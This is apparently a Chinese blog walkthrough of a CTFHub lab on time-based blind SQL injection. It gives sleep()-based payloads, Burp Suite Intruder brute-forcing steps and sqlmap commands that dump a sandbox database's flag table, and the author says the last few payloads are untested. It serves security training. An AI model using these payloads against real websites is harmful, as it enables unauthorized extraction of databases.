news 2026/8/9 5:30:44

CTFHub技能树|SQL注入之时间盲注

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFHub技能树|SQL注入之时间盲注

目录

一、时间盲注原理

1.核心函数

2.完整 payload 模板

二、CTFHub例题

1.手工注入

①判断注入点

②测试可注入方式

③判断数据库长度

④猜数据库名字

⑤猜数据表名字

⑥获取列名

⑦获取数据

2.使用burpsuite

①判断数据库长度

②爆数据库名

③获取表名

④获取列名

⑤获取数据

3.使用sqlmap实现全自动的时间盲注

①获取数据库名称

②获取数据表

③获取flag字段


一、时间盲注原理

场景:页面没有报错回显、没有内容回显,不管 SQL 真假,网页返回的页面内容完全一模一样,没法通过看页面文字判断查询结果。 核心思路:利用 SQL 延时函数 sleep () /benchmark (),根据请求响应时间长短,判断条件是真还是假

1.核心函数

sleep(N):MySQL 函数,执行就休眠 N 秒。

sleep(5) # 让数据库停留5秒再返回结果

if(条件,真执行,假执行)

if(条件为真,sleep(5),1) --条件成立 → 执行sleep(5),请求卡住5秒才返回 --条件不成立 → 执行1,直接返回,没有延迟

2.完整 payload 模板

1 and if(ascii(substr((select 要查询的数据),偏移,1))=字符ascii码,sleep(5),1)

拆解:

  1. substr(数据,偏移值,1):截取 1 个字符;
  2. ascii():把字符转为 ascii 数字,方便对比;
  3. 如果相等(条件 true):触发sleep(5),浏览器网络面板看到请求耗时≈5 秒;
  4. 如果不相等(条件 false):直接返回,请求几十毫秒就结束。

二、CTFHub例题

1.手工注入

①判断注入点

1)id=1 and 1=1 页面返回有数据

2)id=1 and 1=2 页面返回有数据

则:页面的返回没有变化,可能是盲注

②测试可注入方式

1)页面没有回显位置(联合注入无法使用)
2)页面不显示数据库的报错信息(报错注入无法使用)
3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

判断使用时间盲注

③判断数据库长度

1 and if(length(database())=4,sleep(5),1)

可以观察到明显的延时现象后才出现回显内容,这表明数据库名称长度为4。
我们也可以通过查看请求耗时

④猜数据库名字

1 and if(substr(database(),1,1)='s',sleep(5),1)

最终试出数据库名称为'sqli'

⑤猜数据表名字

1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f',sleep(5),1)

由上图可以看出,第一个字母为'f'

第一个表的名字测试出为’flag‘

⑥获取列名

1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'),1,1)='a',sleep(5),1)

最终测试出列名为’flag‘

⑦获取数据

1 and if(substr((select group_concat(flag) from flag),1,1)='a',sleep(5),1)

2.使用burpsuite

基于这样的一个延时原理,接下来我们使用burpsuite进行爆破

①判断数据库长度

爆破payload:

?id=1 and if(length(database())=4,sleep(5),1) --+

为了爆破时间短一点,我们可以将sleep的时间设置短一点(但是有时候这个sleep时间也会影响到判断的准确性)

将抓到的数据包放入Intruder中,设置爆破位置,选用攻击类型(狙击手Sniper,单个参数爆破

设置爆破字典

开始攻击。攻击结果如下:

如果直接看结果是看不出来的,因为都是回显正常

我们需要基于响应耗时来筛选

得出数据库名长度为4

②爆数据库名

爆破payload:

?id=1 and if(substr(database(),1,1)='s',sleep(5),1) --+

同样选择攻击模式(集束炸弹

以及设置爆破位置,这里需要爆破的参数有两个

设置爆破字典

第一个参数的字典显然是1到4(因为数据库长度为4)

第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)

同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload

再将其按照payload1从1到4的顺序排列

得到当前数据库名为:sqli

获取表名

爆破payload:

?id=1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(5),1)--+

④获取列名

爆破payload:

?id=1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'),1,1)='a',sleep(5),1)--+

⑤获取数据

爆破payload:

?id=1 and if(substr((select group_concat(flag) from flag),1,1)='a',sleep(5),1)--+

最后给出的三个payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。

3.使用sqlmap实现全自动的时间盲注

①获取数据库名称

sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id=1 --dbs

②获取数据表

sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

参数说明:

-D 指定数据库
--tables 获取表

③获取flag字段

sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump --batch

以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。

参考文章:

关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客

SQL注入---时间盲注-CSDN博客

**CTFHub**做题记录--Web篇 - 知乎

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/9 5:28:40

三门问题的贝叶斯解析与概率认知误区

1. 三门问题的经典争议与贝叶斯视角三门问题(Monty Hall问题)这个概率谜题自诞生以来就争议不断。表面上这是一个简单的概率游戏,实则揭示了人类直觉与数学概率之间的深刻鸿沟。作为一名经常用贝叶斯方法解决实际问题的数据科学家&#xff0c…

作者头像 李华
网站建设 2026/8/9 5:28:20

AI Agent记忆管理:从RAG到PowerMem的遗忘设计工程实践

1. 从“过目不忘”到“主动遗忘”:为什么AI Agent需要记忆管理 在AI Agent的开发浪潮中,我们似乎总在追求“记住更多”。无论是通过RAG(检索增强生成)技术喂给它海量文档,还是通过复杂的对话历史管理来维持上下文连贯性…

作者头像 李华
网站建设 2026/8/9 5:26:53

Type-C侧立式母座深度产品分析 性能优势与选型要点

Type-C侧立式母座是侧贴结构、接口平行于PCB板的Type-C连接器品类,是超薄电子设备、紧凑结构整机优化接口布局的核心选型,采购时优先选全产业链自制、资质齐全的供应链才能兼顾品质、交期与合规要求,金晟欣(旗下品牌JSXCONN&#…

作者头像 李华
网站建设 2026/8/9 5:26:37

Java结构型设计模式实战:适配器、装饰器与代理模式详解

1. 结构型设计模式的核心价值作为一名有十年Java开发经验的工程师,我见过太多因为代码结构混乱而难以维护的项目。结构型设计模式就像建筑师的蓝图,它们能帮我们解决对象之间的组合关系问题,让代码结构更加清晰、灵活和可维护。在大型Java项目…

作者头像 李华